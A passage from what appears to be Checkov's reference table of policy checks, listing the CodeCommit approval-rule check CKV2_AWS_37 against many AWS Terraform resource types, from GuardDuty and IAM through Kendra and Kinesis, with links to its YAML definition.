[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1582 | CKV2_AWS_37 | resource | aws_guardduty_detector_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1583 | CKV2_AWS_37 | resource | aws_guardduty_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1584 | CKV2_AWS_37 | resource | aws_guardduty_invite_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1585 | CKV2_AWS_37 | resource | aws_guardduty_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1586 | CKV2_AWS_37 | resource | aws_guardduty_malware_protection_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1587 | CKV2_AWS_37 | resource | aws_guardduty_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1588 | CKV2_AWS_37 | resource | aws_guardduty_member_detector_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1589 | CKV2_AWS_37 | resource | aws_guardduty_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1590 | CKV2_AWS_37 | resource | aws_guardduty_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1591 | CKV2_AWS_37 | resource | aws_guardduty_organization_configuration_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1592 | CKV2_AWS_37 | resource | aws_guardduty_publishing_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1593 | CKV2_AWS_37 | resource | aws_guardduty_threatintelset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1594 | CKV2_AWS_37 | resource | aws_iam_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1595 | CKV2_AWS_37 | resource | aws_iam_account_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1596 | CKV2_AWS_37 | resource | aws_iam_account_password_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1597 | CKV2_AWS_37 | resource | aws_iam_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1598 | CKV2_AWS_37 | resource | aws_iam_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1599 | CKV2_AWS_37 | resource | aws_iam_group_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1600 | CKV2_AWS_37 | resource | aws_iam_group_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1601 | CKV2_AWS_37 | resource | aws_iam_group_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1602 | CKV2_AWS_37 | resource | aws_iam_group_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1603 | CKV2_AWS_37 | resource | aws_iam_instance_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1604 | CKV2_AWS_37 | resource | aws_iam_openid_connect_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1605 | CKV2_AWS_37 | resource | aws_iam_organizations_features | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1606 | CKV2_AWS_37 | resource | aws_iam_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1607 | CKV2_AWS_37 | resource | aws_iam_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1608 | CKV2_AWS_37 | resource | aws_iam_policy_document | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1609 | CKV2_AWS_37 | resource | aws_iam_role | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1610 | CKV2_AWS_37 | resource | aws_iam_role_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1611 | CKV2_AWS_37 | resource | aws_iam_role_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1612 | CKV2_AWS_37 | resource | aws_iam_role_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1613 | CKV2_AWS_37 | resource | aws_iam_role_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1614 | CKV2_AWS_37 | resource | aws_iam_saml_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1615 | CKV2_AWS_37 | resource | aws_iam_security_token_service_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1616 | CKV2_AWS_37 | resource | aws_iam_server_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1617 | CKV2_AWS_37 | resource | aws_iam_service_linked_role | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1618 | CKV2_AWS_37 | resource | aws_iam_service_specific_credential | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1619 | CKV2_AWS_37 | resource | aws_iam_signing_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1620 | CKV2_AWS_37 | resource | aws_iam_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1621 | CKV2_AWS_37 | resource | aws_iam_user_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1622 | CKV2_AWS_37 | resource | aws_iam_user_login_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1623 | CKV2_AWS_37 | resource | aws_iam_user_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1624 | CKV2_AWS_37 | resource | aws_iam_user_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1625 | CKV2_AWS_37 | resource | aws_iam_user_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1626 | CKV2_AWS_37 | resource | aws_iam_user_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1627 | CKV2_AWS_37 | resource | aws_iam_user_ssh_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1628 | CKV2_AWS_37 | resource | aws_iam_virtual_mfa_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1629 | CKV2_AWS_37 | resource | aws_identitystore_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1630 | CKV2_AWS_37 | resource | aws_identitystore_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1631 | CKV2_AWS_37 | resource | aws_identitystore_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1632 | CKV2_AWS_37 | resource | aws_imagebuilder_component | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1633 | CKV2_AWS_37 | resource | aws_imagebuilder_container_recipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1634 | CKV2_AWS_37 | resource | aws_imagebuilder_distribution_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1635 | CKV2_AWS_37 | resource | aws_imagebuilder_image | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1636 | CKV2_AWS_37 | resource | aws_imagebuilder_image_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1637 | CKV2_AWS_37 | resource | aws_imagebuilder_image_recipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1638 | CKV2_AWS_37 | resource | aws_imagebuilder_infrastructure_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1639 | CKV2_AWS_37 | resource | aws_imagebuilder_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1640 | CKV2_AWS_37 | resource | aws_imagebuilder_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1641 | CKV2_AWS_37 | resource | aws_inspector2_delegated_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1642 | CKV2_AWS_37 | resource | aws_inspector2_enabler | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1643 | CKV2_AWS_37 | resource | aws_inspector2_member_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1644 | CKV2_AWS_37 | resource | aws_inspector2_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1645 | CKV2_AWS_37 | resource | aws_inspector_assessment_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1646 | CKV2_AWS_37 | resource | aws_inspector_assessment_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1647 | CKV2_AWS_37 | resource | aws_inspector_resource_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1648 | CKV2_AWS_37 | resource | aws_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1649 | CKV2_AWS_37 | resource | aws_internet_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1650 | CKV2_AWS_37 | resource | aws_internet_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1651 | CKV2_AWS_37 | resource | aws_internetmonitor_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1652 | CKV2_AWS_37 | resource | aws_iot_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1653 | CKV2_AWS_37 | resource | aws_iot_billing_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1654 | CKV2_AWS_37 | resource | aws_iot_ca_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1655 | CKV2_AWS_37 | resource | aws_iot_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1656 | CKV2_AWS_37 | resource | aws_iot_domain_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1657 | CKV2_AWS_37 | resource | aws_iot_event_configurations | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1658 | CKV2_AWS_37 | resource | aws_iot_indexing_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1659 | CKV2_AWS_37 | resource | aws_iot_logging_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1660 | CKV2_AWS_37 | resource | aws_iot_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1661 | CKV2_AWS_37 | resource | aws_iot_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1662 | CKV2_AWS_37 | resource | aws_iot_provisioning_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1663 | CKV2_AWS_37 | resource | aws_iot_role_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1664 | CKV2_AWS_37 | resource | aws_iot_thing | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1665 | CKV2_AWS_37 | resource | aws_iot_thing_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1666 | CKV2_AWS_37 | resource | aws_iot_thing_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1667 | CKV2_AWS_37 | resource | aws_iot_thing_principal_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1668 | CKV2_AWS_37 | resource | aws_iot_thing_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1669 | CKV2_AWS_37 | resource | aws_iot_topic_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1670 | CKV2_AWS_37 | resource | aws_iot_topic_rule_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1671 | CKV2_AWS_37 | resource | aws_ivs_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1672 | CKV2_AWS_37 | resource | aws_ivs_playback_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1673 | CKV2_AWS_37 | resource | aws_ivs_recording_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1674 | CKV2_AWS_37 | resource | aws_ivschat_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1675 | CKV2_AWS_37 | resource | aws_ivschat_room | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1676 | CKV2_AWS_37 | resource | aws_kendra_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1677 | CKV2_AWS_37 | resource | aws_kendra_experience | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1678 | CKV2_AWS_37 | resource | aws_kendra_faq | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1679 | CKV2_AWS_37 | resource | aws_kendra_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1680 | CKV2_AWS_37 | resource | aws_kendra_query_suggestions_block_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1681 | CKV2_AWS_37 | resource | aws_kendra_thesaurus | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1682 | CKV2_AWS_37 | resource | aws_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1683 | CKV2_AWS_37 | resource | aws_keyspaces_keyspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1684 | CKV2_AWS_37 | resource | aws_keyspaces_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1685 | CKV2_AWS_37 | resource | aws_kinesis_analytics_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1686 | CKV2_AWS_37 | resource | aws_kinesis_firehose_delivery_stream | Ensure CodeCommit associates an approval rule | Terraform | 